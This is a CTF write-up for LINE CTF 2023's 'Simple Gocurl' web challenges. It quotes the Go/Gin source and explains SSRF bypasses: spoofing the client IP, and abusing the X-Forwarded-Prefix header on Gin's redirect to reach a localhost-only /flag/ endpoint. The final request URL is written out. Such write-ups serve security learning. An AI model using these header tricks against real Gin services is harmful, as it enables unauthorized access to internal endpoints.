Line CTF 2023 Write Up
These two challenges require reading flag in the /flag/
path via SSRF.
(Web) Baby Simple Gocurl
n.startsWith("https://") || n.startsWith("http://") ? window.open(n, "_self") : r.router.set(a.redirect_link ? n : "/portal")
r.GET("/flag/", func(c *gin.Context) {
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
log.Println("[+] IP : " + reqIP)
if reqIP == "127.0.0.1" {
c.JSON(http.StatusOK, gin.H{
"message": flag,
})
return
}
c.JSON(http.StatusBadRequest, gin.H{
"message": "You are a Guest, This is only for Host",
})
})
first, to read the Flag
, a request must be made using the 127.0.0.1
IP.
r.GET("/curl/", func(c *gin.Context) {
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return redirectChecker(req, via)
},
}
reqUrl := strings.ToLower(c.Query("url"))
reqHeaderKey := c.Query("header_key")
reqHeaderValue := c.Query("header_value")
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
req, err := http.NewRequest("GET", reqUrl, nil)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
if reqHeaderKey != "" || reqHeaderValue != "" {
req.Header.Set(reqHeaderKey, reqHeaderValue)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
defer resp.Body.Close()
bodyText, err := ioutil.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
statusText := resp.Status
c.JSON(http.StatusOK, gin.H{
"body": string(bodyText),
"status": statusText,
})
})
in this challenge, we can use the http module to send a request to the desired web service and get the response value.
Get the parameter values of url
, header_key
, and header_value
from the parameters received from the user.
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
but this challenge has a validation process as above. The IP of the user we currently delivered must be 127.0.0.1
, and the characters flag
, curl
, %
must not be included in the url value we sent.
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%"))
oops but the conditional statement is a bit weird. we can bypass this by making it operate like false && true.
// https://github.com/gin-gonic/gin/blob/457fabd7e14f36ca1b5f302f7247efeb4690e49c/context.go#L768
// ClientIP implements one best effort algorithm to return the real client IP.
// It calls c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not.
// If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]).
// If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy,
// the remote IP (coming from Request.RemoteAddr) is returned.
There is a comment as above in the part where the ClientIP() function is defined.
(Web) Adult Simple Gocurl
if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
all the code in this challenge is the same as baby. but the difference is the conditional statement above. we can’t bypass the conditional now
if reqHeaderKey != "" || reqHeaderValue != "" {
req.Header.Set(reqHeaderKey, reqHeaderValue)
}
But we can add any HTTP headers we want using header append logic
=> https://issues.redhat.com/browse/UNDERTOW-990?workflowName=GIT+Pull+Request+workflow+&stepId=5
For request which is redirected to index.html:
$ curl -I -X GET --header "X-Forwarded-Prefix: /test-service" "http://localhost:8624/docs"
Current result is:
HTTP/1.1 302 Found
Location: http://localhost:8624/docs/index.html
but should be:
HTTP/1.1 302 Found
Location: http://localhost:8624/test-service/docs/index.html
Let’s see the above before the exploit. we can see that it sets the X-Forwarded-Prefix: /test-service
header when requesting /docs. as a result, the location to be redirected normally is /docs/index.html
, but it is redirected to /test-service/docs/index.html
.
in other words, if we send a request to a place that returns a 302 response and send the X-Forwarded-Prefix
header together, we can send the request to the desired path.
[GIN-debug] redirecting request 301: / --> /
[GIN] 2023/03/26 - 13:27:32 | 200 | 1.877625ms | 127.0.0.1 | GET "/"
[GIN] 2023/03/26 - 13:27:32 | 200 | 3.854083ms | 127.0.0.1 | GET "/curl/?url=http://127.0.0.1:8080//"
if we send a request to http://127.0.0.1:8080//
, we can see a 302 redirect back to the normalized path after normalizing the path. we figured out how to send a request to a place with a redirect response.
[GIN-debug] redirecting request 301: /flag// --> /flag//
2023/03/26 13:29:25 [+] IP : 127.0.0.1
[GIN] 2023/03/26 - 13:29:25 | 200 | 41.625µs | 127.0.0.1 | GET "/flag/"
[GIN] 2023/03/26 - 13:29:25 | 200 | 980.917µs | 127.0.0.1 | GET "/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag"
if we send a request like http://localhost:8080/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag
, the redirect is executed. We can see that during this process we normalize the path using the X-Forwarded-Prefix
header and send the request to /flag/.